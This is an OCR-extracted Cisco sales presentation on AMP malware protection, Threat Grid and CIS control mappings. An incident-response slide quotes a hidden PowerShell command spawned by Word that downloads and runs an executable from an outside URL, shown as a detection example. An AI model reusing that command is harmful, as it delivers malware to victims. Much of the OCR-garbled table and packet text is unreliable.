#### ıılıılıı cısco

### "AMP like an accelerator to successful cybersecurity strategy" "A false sense of security is worse than a true sense of insecurity"

**Senad Aruc** 

Consulting Systems Engineer -Advanced Threats Group Nils Roald Advanced Threats - North Sales Leader



#### Cybersecurity operations best practice - defence in depth



### Cybersecurity problems (not the BOB and ALICE story anymore!)



CISCO

# Malware on wire is not a real malware!

#### Malware on the wire

		• • • • •	rion Class An	
ter li	22010022	<ul> <li>Tybue</li> </ul>	ssion Ciear Ap	pry
2. • Time	Source	Destination	Protocol	Info
366 11.767290	192.168.0.31	192.168.0.28	SNMP	get-response SMMPv2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.7.1
367 11.768865	192.168.0.28	192.168.0.31	SNMP	<pre>get-request SNMPv2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1.</pre>
369 11.775952	192.168.0.31	192.168.0.28	SNMP	get-response SMMPv2-SMI::enterprises.11.2.3.9.4.2.1.4.1.5.8.1
381 12.280091	192.108.0.28	192.168.0.1	DNS	Scandard query A www.crm.com
385 12, 312727	192,168,0,28	64,236,91,21	TCP	56606 > http [SYN] seg=0 win=8192 Len=0 MSS=1460 wS=2
386 12.361495	64.236.91.21	192.168.0.28	TCP	http > 56606 [SYN, ACK] Seg=0 Ack=1 Win=8192 Len=0 MS5=1460
387 12.361583	192.168.0.28	64.236.91.21	TCP	56606 > http [ACK] seq=1 Ack=1 win=17520 Len=0
388 12.361805	192.168.0.28	64.236.91.21	HTTP	GET / HTTP/1.1
389 12.413166	64.236.91.21	192.168.0.28	TCP	http > 56606 [ACK] seq=1 ACK=845 Win=6960 Len=0
201 12 414286	64 226 01 21	192.168.0.28	TCP	[TCP segment of a reassembled poul
JAL 12.414500	04.230.91.21	192.100.0.20	and the second sec	[rer requert or a reasonated PD0]
Domain Name Syst [Request In: [Time: 0.0257]	tem (response) 8811 71000 seconds]	domain (53), Dst Port:	62872 (62872	
Domain Name Syst <u>IRequest In:</u> <u>ITime: 0.0257</u> : Transaction II IFlags: 0x81800 Questions: 1 Answer RRs: 6 Authority RRs Additional RR: Queries Www.cnn.com Name: www. Type: A (0)	<pre>tem (response) tall table table</pre>	sponse, No error)	62672 (62872	
Domain Name Syst [Request Int: [Trime: 0.0257; Transaction II Flags: 0x8180 Questions: 1 Answer Rs: 6 Authority Rs: Queries Www.cnn.com Name: www. Type: A ( Class: IN Answers Www.cnn.com	<pre>cem (response) lBll 1000 seconds] 1000 file (standard query re: 10 10 10 10 10 10 10 10 10 10 10 10 10</pre>	addr 64.236.31.21	62872 (62872	
Domain Name Syst: [Request In: ] [Time: 0.0257: Transaction II # Flags: 0x8180 questions: 1 Answer RRS: 6 Questions: 1 Answer RRS: 6 Questions: 1 Authority RRS Additional RRS: Wow. Crn.Com Name: Wow. Crn.Com Name: Wow. Crn.Com 0 00 09 00 00 0 00 12 62 64 0 00 99 00 00 0 00 12 62 64 0 00 66 66 00 00 0 00 7 00 04 40 0 15 70 04 44	<pre>cme (response) Ball 1000 seconds) 0: 0xcfif (standard query re: 0 0 0: 0xpe A, class IN. crm.com 0xst address) (0x0002) 10xst address) 10x002 10x00 10x0 10x0 10x0 10x0 10x0 1</pre>	addr 64,236.91.21 ddr 64,236.91.21 ddr 64,236.91.21 dd 96 00 00 00 cf 1f 81 80 00 01 cf 26 00 00 00 cf 26 00 00 00 cf 26 00 00 00 cf 20 00 cf 20 00 00 cf 20 cf 20 cf 20 cf 20 cf 20 cf 20 cf 20	647	.6

#### Malware on the endpoint

Options View Process Fit	nd User	rs Help					
	* 4						
rocess	CPU	Private Bytes	Working Set	PID	Description	Company Name	VirusTotal
System Idle Process	96.86	OK	28 K	0			
🛛 💽 System	0.15	5,888 K	3,544 K	4			
Interrupts	0.21	0 K	0 K	n/a	Hardware Interrupts and DPCs		
smss.exe		168 K	244 K	328			The system cannot find the file specified.
Csrss.exe		1,712 K	2,020 K	428			The system cannot find the file specified.
wininit.exe		828 K	732 K	540			The system cannot find the file specified.
E services.exe		3,532 K	4.228 K	604		/	The system cannot find the file specified.
svchost.exe		7,236 K	9,340 K	736	Host Process for Windows S	Microsoft Corporation	0/46
SkyDrive exe		8,884 K	2.496 K	25720	SkyDrive Sync Engine Host	Mcrosoft Corporation	0/48
a dihost.exe	0.01	15,892 K	18,540 K	23224	COM Surrogate	Microsoft Corporation	0/50
SettingSyncHost.exe		11,792 K	1,576 K	21248	Host Process for Setting Syn	Microsoft Corporation	0/50
DI HIDServer.exe		1,932 K	2,488 K	21696	Windows Live Device Integr	Microsoft Corporation	0/46
RuntimeBroker.exe		8,800 K	14,040 K	25672	Runtime Broker	Microsoft Corporation	0/50
InputPersonalization e.		3,672 K	9,732 K	25400	Input Personalization Server	Microsoft Corporation	0/47
Uc Mapi exe		8,460 K	19.800 K	25232	Microsoft Lync	Microsoft Corporation	0/48
RashUtil ActiveX.exe		2,564 K	4,216 K	7092	Adobe® Rash® Player Utilty	Adobe Systems Incorpora	sted 0/50
svchost.exe		5,880 K	6.884 K	776	Host Process for Windows S	Mcrosoft Corporation	0/46
nvvsvc.exe		908 K	768 K	860	NVIDIA Driver Helper Servic	NVIDIA Corporation	0/50
atiesnox.exe		616 K	548 K	928	AMD External Events Servic	AMD	0/47
atiectox exe		1,764 K	1,828 K	26692			The system cannot find the file specified.
svchost.exe		22,504 K	22.584 K	952	Host Process for Windows S	Microsoft Corporation	0/46
audiodg.exe	0.08	5,964 K	8,196 K	17060			The system cannot find the file specified.
svchost exe	< 0.01	42.924 K	42.692 K	1016	Host Process for Windows S	Microsoft Corporation	0/46
dasHost.exe		8,688 K	10.980 K	1900			The system cannot find the file specified.
E sychost exe	< 0.01	153.964 K	123.124 K	1032	Host Process for Windows S	Microsoft Corporation	0/46
a taskhostex.exe		1,984 K	3.316 K	10728	Host Process for Windows T	Microsoft Corporation	0/50
b ipoint exe		3.268 K	2.916 K	21468	IPoint.exe	Microsoft Corporation	0/48
type exe		3,388 K	2,756 K	20180	Type.exe	Microsoft Corporation	048
sychost exe		14,968 K	15,784 K	1072	Host Process for Windows S.	Microsoft Corporation	0/49



### CSOC Generations.. 1, 2, 3, 4 and 4.5





al

#### Accelerate incident response with AMP

Search in Verify the User is in Full disk Find the Format Deliver to Malware Alert the SIEM ticket to IT **PTO** the device malware the user ...when AMP Why you need a Full disk forensics for malware? can do a process level forensics full disk forensics? 2016-11-21 15:47:17 CET powershell.exe, Microsoft® Windows® Operating System 10.0.14393.206 (8133502..6fa6fa)[PE\_Executable] was Executed by winword.exe, Microsoft Office 2013 15.0.4859.0 (9d52813..4077ff)[Unknown]. Unknown disposition Unknown parent disposition File full path: c:\windows\syswow64\windowspowershell\v1.0\ powershell.exe Block File SHA-1: 21d5224e20 File MDS: 65d86c3481 (0) File size: 431616 bytes Parent file SHA-1: b7f822b Parent file MD5: #17014a308106d9 Parent file size: 1931960 bytes. Parent file signed by Microsoft C on with certificiate serial 330000010a2c79aed7797b 00010a from Microsoft Code Signing PCA. Exp :45, Sun Sep 4 2016 UTC. Parent file cert MD5: 20dd Parent file Command line 6330 C:\Windows\System32\WindowsPowerShell\v1.0\ powershell.exe -w hidden -nop -ep bypass -c \$f= [System.IO.Path]::GetTempFileName();(New-Object System.Net.WebClient).DownloadFile('http://demita: tgourmet.com/changelog/bindata.exe', \$f);(New-Object -com WScript.Shell).Exec(\$f) 00000 \*\*\* 80\*000 ? **Old School** AMP

# Endpoint Protection Platform (EPP) vs Endpoint Detection & Response (EDR)

Capabilities of an EPP (Endpoint Protection Platform) per Gartner	AMP for Endpoints Coverage
Anti-malware	×
Personal firewall	×
Port and device control	×
EPP solutions will also often include:	
Vulnerability assessment	×
Application control and application sandboxing	✓
Enterprise mobility management (EMM), typically in a parallel	×
nonintegrated product	
Memory protection	×
Behavioral monitoring of application code	×
Endpoint detection and remediation technology	×
Full-disk and file encryption, also known as mobile data protection	×
Endpoint data loss prevention (DLP)	×
Capabilities of an EDR (Endpoint Detection & Response) per Gartner	AMP for Endpoints Coverage
Detect Security Incidents	✓
Contain the incident at the endpoint, such that network traffic or	×
process execution can be remotely controlled.	
Investigate Security Incidents	×
Remediate endpoints to a pre-infection state.	~

AMP for Endpoints is more likely a hybrid of an EDR, EPP, and Next Gen EPP solution.

# Critical cybersecurity controls NIST 2014



cisco

CIS Critical Security Controls (V6.0) 1 Inventory of Authorized and Unauthorized Devices 2 Inventory of Authorized and Unauthorized Software 3 Secure Configuration of End-User Devices 4 Continuous Vulnerability Assessment & Remediation 5 Controlled Use of Administrative Privileges 6 Maintenance, Monitoring, and Analysis of Audit Logs 7 Email and Web Browser Protections 8 Malware Defense

9 Limitation & Control of Network Ports, Protocols, and Servi
10 Data Recovery Capability
11 Secure Configuration of Network Devices

#### 12 Boundary Defense

#### **13** Data Protection

14 Controlled Access Based on Need to Know

- **15** Wireless Access Control
- **16** Account Monitoring and Control
- **17** Security Skills Assessment and Appropriate Training **18** Application Software Security
- 19 Incident Response and Management

20 Penetration Tests and Red Team Exercises

# Critical cybersecurity controls mappings

# CIS Critical Security Controls

CIS CRITICAL SECURITY CONTROL	NIST 800-53 rev4*	NIST Core Framework	DHS CDM Program	150 13	150 27002-2005	NSA MNP	Au Top 35	NSA Top 10	GCHQ 10 Steps	UK Cyber Essentials	UK ICO Protecting Data	PCI DSS 3.0	нірад	FFIEC Examiners Handbook	COBIT 5	NERC CIP v5	NERC CIP v4	NERC CIP v3	Cloud Security Alliance	FY15 FISMA Metrics	ITIL 2011 KPIs
Inventory of Authorized & Unauthorized Devices	047 843 54 014 544 893 5647	10.48-1 10.48-1 19.05-3	• WWR Radean Jose Rangement	4813 4813 41311	47.1.1 410.62 410.61 811.45	Kay Isar Reverk     Looler Rangement     Doument That Research     Sectors Across Control     Log Rangement					<ul> <li>Insprepture Lacatans for Processing Data</li> </ul>	24	* 164.310(b); Warkunstein Bar - B * 164.310(c); Werkunstein Society - B	<ul> <li>Not Searity</li> <li>Der Epiprent Searity (Werknater, Lang, Randheid)</li> </ul>	APOI3: Range Leverty     EUDS: Range Severy Services     BR29: Hange Asets	CIP-002-5 EL CIP-002-5 E2	(IP-802-4 N) (IP-804-4 M) (IP-802-4 N2 (IP-805-4 N2 (IP-802-4 N3 (IP-806-4 N2 (IP-802-4 N5	CP-802-3 NJ CP-805-3 NS CP-802-3 N2 CP-804-3 NJ CP-802-3 N3 CP-805-3 N2 CP-802-3 N3 CP-805-3 N2 CP-802-4 N4 CP-806-3 N3	9(5-6) H01-09 H01-15	1: System Internacy 2: Continuous Munitering	information fecurity Rangement
2 Inventory of Authorized & Unauthorized Software	04-7 05-4 54-4 54-4 05-2 05-10 52-38 PR-5 05-11 52-34	0.08-2 79.26-4	<ul> <li>HWRE Hardware Asset Hanagement • HWRE Software Asset Hanagement</li> </ul>	A1251 A1262		= Baclan Maragement = Esocatális Gotines Restictions = Gotificacións and Change Hanagement	I H II	* Application Whitelisting			<ul> <li>Decompositioning of Suffware or Services</li> </ul>		- 144.000(s); Warkszarion Din - N - 144.000(s); Warkszarion Security - N	<ul> <li>But Security</li> <li>Dur Equipment Security (Welcomen, Laping, Randheld)</li> </ul>	- APO13 Hange Security - 2025: Hange Security Services				000-04 1806-0 1906-04 1906-15	1: System Assentary 2: Continuous: Mandaring	t Recention Incorety Recordered
3 Secure Configurations for Hardware & Software	GA3         ON-4         ON-11         SE-15           DN-2         ON-7         NA-4         SE-34           DN-3         ON-8         NA-5         SE-2           DN-5         ON-9         SA-4         SE-4	R.P.	• (D) Configuration Setting: Ranagement	A342.4 A342.8 A382.3	A1523	<ul> <li>Fach Tangement</li> <li>Exclose Rangement</li> <li>Oran al-Rest Presentm</li> <li>Codgeration and Charge Hangement</li> </ul>	2-5 21	Control Administration Privileges     Tot a Sense Rateline Configuration     Tale Administry of Software     Improvements	• Secare Configuration	+ Secare Configuration + Patch Management		22 23 42 115	<ul> <li>164.200(b): Workszaison Bar - R</li> <li>164.200(c): Workszaison Szenety - R</li> </ul>	<ul> <li>Best Security</li> <li>Bert Epsignment Security (Werkrossen, Lapon, Handheld)</li> </ul>	AP013 Range Learny     LOSS: Nange Learny Service     BR10 Range Configuration	09-407-5 10 09-410-5 10	014603-4 16 014467-4 10	CP-001-3 86 CP-001-3 83	185-67 1925-15 1935-19 1719-60	2: Cartinuoso Maniteriog	lehenation Security Racagement
4 Continuous Vulnerability Assessment & Remediation	GA2 MA3 B-4 GA7 K-34 B-7	10.84-1 DE-05-8 10.84-2 HLHG-3 PR,19-12	• III, Taberability Ranagement	4.12.6.1 4.14.2.8	4/24) 4/212 4/522	Fath Rangement     Log Rangement     Codgaration and Charge Hangement	1	<ul> <li>Take Advantage of Software Improvements</li> </ul>		• Pach Raeagement	• lativare lipitare	41 62 112	+ 164.210(b): Workszalam. Box - 8 + 164.210(b): Workszalam. Szenety - 8	<ul> <li>Host Security</li> <li>Dar Epigement Security (Warkstames, Layma, Randheld)</li> </ul>	• APO(3) Panage Security • DSISS Manage Security Services	019-4017-5 102 019-41-0-5 103	CP-005-4 84 CP-007-4 83 CP-007-4 88	CP-025-3 84 CP-001-3 83 CP-001-3 88	165-65 1905-15 1901-19 1919-62	2: Continuoso: Manuterny	alternation locarity Ranagement
5 Controlled Use of Administrative Privileges	86-2 86-19 88-5 86-4 68-7 88-4 86-17 88-4	19,864 19,9842 19,852 19,953		4911 4922 - 4926 4911 4941 - 4944	A3844 A31531 - A31533	+ Eur Anna + Euclan Taragement + Leg Taragement	4 9 11 25	- Cantral Administrative Privileges	• flattering	+ Access Control	<ul> <li>Configuration of STL and TLS</li> <li>Default Confermals</li> </ul>	21 11 - 13 11 - 83 87	+ 16(200)) Workszann Dor - N • 16(200)) Workszann Searchy - N	<ul> <li>Aeflectivation and Acros Centrals</li> </ul>	AP013 Ranage Security     DSI25 Ranage Security Services	CIP-404-5 M CIP-404-5 IIS CIP-407-5 IIS	CP-402-4 85 CP-402-4 83 CP-406-4 84 CP-408-4 83 CP-405-4 82 CP-402-4 83	CP-801-3 85 CP-805-3 83 CP-806-3 86 CP-806-3 83 CP-805-3 82 CP-801-3 83	1885-05 + 1885-13 1925-16 1925-20	3: Identity Credential & Actus: Hanagement	Information Security Resugnment
6 Maintenance, Monitoring, & Analysis of Audit Logs	K-21 A84 A8-11 9-10 A9-2 A8-7 A8-12 5-4 A8-3 A8-4 A8-13 A8-4 A8-9 A8-14 A8-5 A8-10 C8-7	PR.PF.I DE.DP.3 DE.AE-3 DE.DP.4 DE.DP.1 DE.DP.5 DE.DP.2	Genetic Audit Masitaring	A12A1 - A12A8 A1271	A38383 A38383 A38386	+ lag flangeræst	15-14 15		• flaritaring			18.1 - 18.7	<ul> <li>164.380()(1): Searchy Management Process: - Information System Relativity Review R <ul> <li>164.380()(1): Searchy Journess: and Training - Lagon Measuring A</li> </ul> </li> </ul>	<ul> <li>Lecarity Baceborng</li> </ul>	- APO13 Manage Security - \$5525: Manage Security Services	CIP-007-5 M	CIP-003-4 83 CIP-003-4 86	CP-005-3 83 CP-007-3 86	115-01 115-03		Information Incorty Ranagement
7 Email & Web Browser Protections	(A-7 08-6 08-11 K-15 08-2 08-7 88-4 K-34 08-3 08-8 88-5 38-2 08-3 08-9 36-4 38-4	<b>R</b> . <b>P</b> .4	• CM: Configuration Setting: Management	A142.4 A142.8 A182.3	A/622	<ul> <li>Pach Rangement</li> <li>Baolen Rangement</li> <li>Data-al-Rest Protection</li> <li>Codgeration and Charge Hangement</li> </ul>	23 21	Control Administrative Privileges     Set a Sesare Baseline Configuration     Tale Advantage of Software     Segmenements	• Secare Canfiguration	• Secure Coofiguration • Patch Management		22 23 42 115	* 16(2)0()); Warkazalon Un - N * 16(2)0()) Warkazalon Senety - N	Heat Security     User Equipment Security     (Weincome, Lapon, Handheld)	APO13 Hange learny     DSS5 Hange Searchy levers     BR00 Hange Configuration	CIP-007-5 H2 CIP-010-5 H2	08-001-4 86 08-001-4 83	CP-003-3 No CP-007-3 NJ	165-67 1906-15 1905-19 1999-60	2 Castavor Manteray	E Between the Betw
8 Malware Defenses	(16.7 (5.44 (9.4 (5.29 (9.3 (9.4	PEPE-2 DE.05-4 DE.05-5		483.1 4/22.1 4/22.3	4.10.41 - 4.10.42 4.10.2.1	Votor Accessibility     See Scanners & Heal Interview     Prevention System     Icourty Scanners, A     Treventin	7 26 17 30 22	<ul> <li>Die Anti-Brux He Reputation Invices</li> <li>Erable Anti-Exploration Frazens</li> </ul>	Kenovable Nelia Cortroli Nativare Pratectore	• Roburn Protection		5.1 × 5.4	<ul> <li>143.008(cf): Searchy Awareness and Tosiney Penetsine Iran Ruksan: Software &amp; 144.008(cf)): Device and Relia Control Accountability A 144.018(c): Werkname Min - L 144.018(c): Werkname Security - L</li> </ul>	Hust Security     User Equipment Security     (Werkcaster, Laping, Randheld)	AP013 Hunge Learny     SIGS Range learny levens	CIP-407-5 KJ	CP-007-4 M	CP-807-1 M	H25-01 H05-15 TH1-01 TH1-00	4: Jani-Phohing & Ralware Deletar	Internation Security Management
9 Limitation & Control of Network Ports	8-1 8-4 PM-13 8-2 94-11 PM-14 8-3 94-16 PM-14	Mars Deal-1	• Boastay Protection	4312 43311 43312 43412	8.19.61 - 8.19.62 8.11.64	* Baules Racapenent * Configuration and Change Hanapenent	2 13 3 27 12	Limit Wolfstation to Workstation     Geneminication	• Newerk Security		<ul> <li>Decommissing of lathear ar Services</li> <li>Busecessary Services</li> </ul>	ы	- 164.2103/3 Workszason Die - 8 - 164.2103/3 Workszasion Security - 8	- Network Security	• APO13 Panage Security • 2025: Nanage Security Service	CIP-487-5 NI	CP-007-4 12	CP-453-3 K2	09-02 16-66 191-61		Internation Security Rangement
0 Data Recovery Capability	(7-3 (7-10 27-4	814		&10.1.1 &12.3.1	A1031 A1083	+ kabap inang						40 15 - 17	164.288(s)(7): Contegory Fan - Suc Robuy Fan 8     164.288(s)(7): Contegory Fan - Sucie Roovey Fan 8     164.288(s)(7): Contegory Fan - Sucie Roovey Fan 8     164.288(s)(7): Contegory Fan - Sucie & Arolin Antonio A     164.288(s)(1): Down 4: Rofa: Control - This Social 4: Notes ar 8	- Encryption	• APOI3 Pasage Security • 10585: Manage Security Services		07-001-4 M 07-001-4 IS	CP-009-3 M CP-009-3 M	H21-11		blomation Security Rangement
Secure Configurations for Network Devices	AC4 GL4 GR5 RL4 GA3 GS2 GR4 IC24 GA7 GS3 GR4 314	NACS N2F-1 N2F-1	COR Configuration Settings Management     Boundary Protection	4912 40111 40113	A 10.6.1 - A.10.6.2 A 11.4.5 A 11.6.7 A 11.5.1 - A 11.5.3	Hap fair Reveals     Path Rangement     Evoluti Rangement     Dooment Tair Reseals	1 1 10	<ul> <li>Set a Secure Baseline Configuration</li> <li>Segregate Networks and Functions</li> </ul>	• Secan Caeligaration • Network Security	Boundary Freesals & Internet Gateways     Secure Configuration     Patch Rheagement	Inflorane Apdates     Suppropriate     Lectates for     Processing Data	11 - 12 22 62		- Network Jecurity	APO11 Range Security     DSSS Range Security Services     BRD2 Range Configuration	CIP-485-5 41 CIP-487-5 42	CIP-402-4 No. CIP-404-4 NJ CIP-404-4 M. CIP-402-4 NJ CIP-405-4 NJ CIP-405-4 NJ	CP-403-3 Na CP-406-3 K3 CP-404-3 Na CP-405-3 K3 CP-405-3 N2	001-02 105-09 1005-03 1025-19 105-04 1019-02	3: Identity Crobential & Access Management	bilemation Jecurity Rangement
2 Boundary Defense	K-4 047 927 K-17 049 924 K-29 052 94 Ga3 949	M.R.3 M.R.5 M.M-2 U.R-1	• Beenlary Protection	4512 A1241 A1113 A1221 A1123 A1111	A1641-A1042 A1031-A1053 A1031-A1053 A10323 A10323 A1042 A1042 A1042 A1042 A1042 A1042	No Dire Knoch     Score Stanson, Prane, ad     Norwah     Score Stanson, Prane, ad     Norwah     Score Stanson, Socrety     Score Stanson, Socrety     Norman Electronic Basis     Norgeneen	10-11 10-10 23 12-34	* Sagregate Networks and Functions	Bone and Bable Warking     Bankaring     Beneark Security	* Boundary Frewalts & Internet Gatewage	<ul> <li>Configuration of 331, and 713</li> <li>Suppropriate latations for Processing Data</li> </ul>	11 - 13 13 114 114		<ul> <li>Network Incarity</li> <li>Learnity Maximum</li> </ul>	• APG1): Pasage lecarity • BSIZS: Manage Security Services	CIP-005-5 NJ CIP-005-5 N2 CIP-007-5 NA	CP-005-4 N3 CP-007-4 Na	CP-005-3 85 CP-007-3 86	09-02 105-01 105-04 105-09 1001-14	Identity Credential & Assess Ranagement & Researk Delesse 7: Reardary Protection	Information Incurity Recognition
3 Data Protection	K-3         Or4         X-4         144           K-4         B.4         SC-20         SC-20           K-31         HP-3         SC-31         SC-20           Gr-7         Sr-18         SC-41         SC-41	作成5 用25-1 用25-5 用25-5 用25-5		483.1 A10.1.1 - A10.1.2 A13.2.3 A18.1.5	A3027.1 A102.1.1 - A102.1.2 A102.5.4 A105.1.6	Kosofi Architeture     Device Accessbility     Isouriy Garwapi, Prane, and Fernada     Kosofi Jecurity Ramming	26		• Banarrable Media Coosrab			35 U - O	HAT 10001(H) Information Name Thangament - Holding Realth Carl Startinghese Rancies E HAT100(1)() Norma de Maria Carlow, - Researchilde HAT100(1) Name General - Interprete and Perception & HAT100(1) Namemaan Normy - Interprete Carlow A HAT100(1) Transmission Normy - Interprete Carlow A HAT100(1) Transmission Normy - Interprete A	- Encryption - Data Security	• APO13 Hange Security • 2025: Manage Security Services	09411-5 N			092-02 092-05 ER05-01 - ER05-04 H025-11	5 Data Pretection	Internation Incorety Management
4 Controlled Access Based on the Need to Know	16-1: 16-4 18-3 16-2: 16-34 12-14 16-3 16-7 13-4 187-3	19.864 19.862 19.865 19.962 19.364 19.963	<ul> <li>10057. Acress Gannal Management</li> <li>PHR: Privileges</li> </ul>	4131 4911 4941	4.102.1 A.12.101 - A.10.103 A.11.45 A.11.47 A.11.41 - A.11.42 A.12.54	Knowsk Architectum     View Annubility     Knowski      Knowski	28	* legregate Retworks and Functions	• Ranging Roo Prolifies • Research Security	• Acons Caetral	<ul> <li>kappoptate lacations for Processing Data</li> </ul>	13 - 14 -0 13 - 73 47	HUBB(1) Source Response R	<ul> <li>Authentication and Acces Cantrals</li> <li>Encryption</li> <li>Data Security</li> </ul>	- APO13: Range Security - 2025: Range Security Service	CIP-005-5 NJ CIP-005-5 N2 CIP-007-5 NJ CIP-017-5 NJ	CIP-001-4 HS CIP-004-4 HA CIP-005-4 H2 CIP-006-4 H2	CP-001-3 85 CP-004-3 84 CP-005-3 82 CP-006-3 85	092-02 185-09 1905-11		lehenatus Jesurity Rasagement
15 Wireless Access Control	MC-10 OF-2 SC-40 MC-19 M-3 SC-40 OF-3 SC-4 OF-7 SC-17			A10.1.1 A12.4.1 A12.7.1		Kap har Betweek     Second Decrement Decrement     Decrement That Personal Decrement Decrement     Decrement Ther Research     Serveeric Access Content			• Manituring • Metwork Security			43 111		- Network Security - Encryption - Lecurity Manitoring	• APOL3: Hanage Lecarity • DSI25: Hanage Lecarity Services	CIP-007-5 BH	07-445-4 KI 07-607-4 K5	0P-005-3 KJ 0P-007-3 Ks	115-81 115-86 115-12 1426-11		Selectation Security Management
16 Account Monitoring & Control	46.2 (3.3 46.3 (8.4) 46.7 (8.40) 46.4 (9.4) 46.4 (9.4) 46.4 (9.4)	11.8-1 11.8-4 11.11-1	<ul> <li>OID Endestah and Aubertration Rangement</li> </ul>	891.1 A92.1 - A92.8 893.1 A9A.1 - A9A.1 A01.23	AB33 4/12,1 4/12,3 - 4/12,4 4/13,1 - 4/13,3 4/13,1 - 4/13,3	- Dar Anna - Ladon Raugemen - Leg Raugement	15		• Ranging Ror Products	• Acons Gaarai	<ul> <li>Gauligonation of 151, and TLS</li> </ul>	11 - 73 87 - 88	HUBBRIT Scott Response Transmission 4     HUBBRIT Scott Transmission 1     HUBBRIT Scott Transmission 1     HUBBRIT Internation Response     HUBBRIT Internation	* Automization and Acros Commit	• APO13: Manage Security • 19585: Manage Security Services	CIP-405-5 KI CIP-405-5 K2 CIP-407-5 M	CP-401-4 83 CP-407-4 85 CP-607-4 86	0P-005-3 KS 0P-007-3 KS 0P-007-3 Ks	8/K-82 18/K-07 - 18/K-12 1925-14 1925-16 1925-20	3: Mentity Gedenical & Access Hanagement	leternation location Ranagement
17 Security Skills Assessment and Appropriate Training to Fill Gaps	8-1 8-4 88-13 8-2 9-11 89-14 8-3 9-16 89-14	19,85-1 19,85-1 19,85-2 19,85-5 19,85-3	BER Security Related Behavior Ranagement	811	A122	- fraining	и		• Der Education & Averenna			0.4	<ul> <li>Id-DB(s)(5) Searcy Journess and Tuning - Jearch Resident Δ</li> <li>Id-DB(s)(5) Searcy Journess and Tuning - Processe Search Robins Software Δ</li> <li>Id+DB(s)(5) Search Rowmens and Tuning - Encound Rangement Δ</li> </ul>	• Personal Security	• APO13: Hanage Security • 2025: Hanage Security Services	CIP-004-5 NJ CIP-004-5 N2	CP-004-4 81 CP-004-4 82	CP-004-3 KI CP-004-3 K2	845-18 H01-05	& Training and Education	Information Security Management
<b>18</b> Application Software Security	94-13 94-20 94-11 94-15 94-31 94-15 94-14 92-39 94-14 94-17 95-10	PL05-7	• HL: Yalsonability Ranagement	4543 A1214 A1421 A1426 - A1428	A10.1.4 A12.52 A12.21 A12.53 A12.24	- Irang	и				• 121. kyrcias	43 45 - 67		<ul> <li>Application Security</li> <li>Software Development &amp; Acquisition</li> </ul>	• APO13 Hanage Security • 19305: Nanage Security Services				AS-01 002-02 AS-03 002-03 AS-04 85-08 002-01		Information Security Ranagement
<b>19</b> Incident Response & Management	8-1 8-4 8-7 8-2 8-5 8-4 8-3 8-4 8-10	H P -0         E 38-14           32.9-2         61,8-12           33.9-3         61,8-12           34.9-4         61,8-12           34.9-4         61,8-12           34.9-4         61,8-12           35.9-4         60,6-13           36.9-15         60,6-14	• Mas for Event • Repeat to Event	4.6.13 4.72.1 4.16.12 4.16.14 - 4.16.17	4614 4823 48111 48121 - 481222	<ul> <li>textent Improve and Durater Intervery Flast</li> </ul>			• Incident Ranagement			12.10	• 16G3R(s)(E); Sensity localest Procedures - Response and Reporting &		AP013 Hange leavity     1035 Range leavity levies     1035 Range leavity levies     1032 Range levies Reports     aid loodest	CIP-408-5 NI CIP-408-5 N2 CIP-408-5 N3	CP-001-4 81 CP-001-4 82	CP-408-3 10 CP-408-3 12	98F-01 - 98F-05	9: Incident Response	Information Security Management
20 Penetration Tests & Red Team Exercises	04-2 02-8 PB-4 04-5 82-6 PB-14 02-6 92-6			A1428 A1821 A1823	4414 43522 43533	- Judi linung						ш			APEL3 Range Insurity     EDEE: Range Society Services     REE2: Power, Evolution and Ameri the System of Internal Control						Information Security Ranagement

cisco

# **Our Threat-Centric Model**



## Visibility and Control Enables You To Effectively Prevent, Block, Detect, and Remediate Advanced Threats



ılıılı cısco

### Continuous Analysis and Retrospective Security Only AMP Continuously Monitors and Analyzes All File Activity, Regardless of Disposition



To answer the questions that matter...





1001 1101 1110011 0110011 101000 0110 00 1001 1101 1110011 0110011 10100 0001110001110 1001 1101 1110011 0110011 101000 0110 001100001110001110

**Cisco TALOS** 



Email

1.6 million global sensors 

Endpoints

- 100 TB of data received н. per day
- 150 million+ . deployed endpoints
- Experienced team of . engineers, technicians, and researchers
- 35% worldwide email traffic



www

- .
- per day
- 40+ languages .
- 1.1 million incoming malware samples per day
- **AMP Community**
- Private/Public **Threat Feeds**



- IPS
- **Talos Security Intelligence** .
- **AMP Threat Grid Intelligence** н.

Devices

- **AMP Threat Grid Dynamic** н. Analysis 10 million files/month
- Advanced Microsoft н. and Industry Disclosures
- Snort and ClamAV Open н. Source Communities
- **AEGIS** Program

.

#### Automatic updates in real time



- 13 billion web requests
- 24x7x365 operations
- 4.3 billion web blocks



# Attack life cycle (Kill Chain)



cisco

# Introducing Threat Grid Everywhere



ılıılı cısco

# Easily Identify and Prioritize threats

Easy-to-understand Threat Scores guide decision making



750+ behavioral indicators (and growing)

- Malware families, malicious behaviors, and more
- Detailed description and actionable information



#### Prioritize threats with confidence

• Enhance SOC analyst and IR knowledge and effectiveness (and security product)

Behavioral Indicators	Threat Score: 100
Registry Modification Disabled System Restore	Severity: 100 Confidence: 100
Cryptowall 3.0 Detected	Severity: 100 Confidence: 100
Process Attempted to Access the FireFox Password Manager Local Database	Severity: 95 Confidence: 75
O Process Created a File in the Windows Startup Folder	Severity: 80 Confidence: 50
O Process Modified Autorun Registry Key Value	Severity: 80 Confidence: 60
BCDEdit Used to Modify Boot Options	Severity: 80 Confidence: 100
Shadow Copy Deletion Detected	Severity: 75 Confidence: 100
O Process Modified File in a User Directory	Severity: 70 Confidence: 80
O Process Disabled Internet Explorer Proxy	Severity: 70 Confidence: 70
O Process Modified an Executable File	Severity: 60 Confidence: 100
ODNS Response Contains Low Time to Live (TTL) Value	Severity: 35 Confidence: 20

# Examine files with context-driven analysis

Static and Dynamic analysis execute automatically



# **Glovebox** feature helps you interact (detonate) the malware in real time, recoding all activity in real movie for future playback and reporting.





#### rijiriji cisco

# AMP like an accelerator to successful cybersecurity strategy



#### ıılıılıı cısco



**Senad Aruc** .ılı.Cisco.ılı. Systems CONSULTING SYSTEMS ENGINEER Advanced Threats Group

AMP Northern Europe Office: +31 203 57 25 95 Mobile: +31 6 11 46 57 65 E-Mail: <u>saruc@cisco.com</u>





AMP is rated number one AMP achieved a 99.2% security effectiveness rating in recent tests by NSS Labs.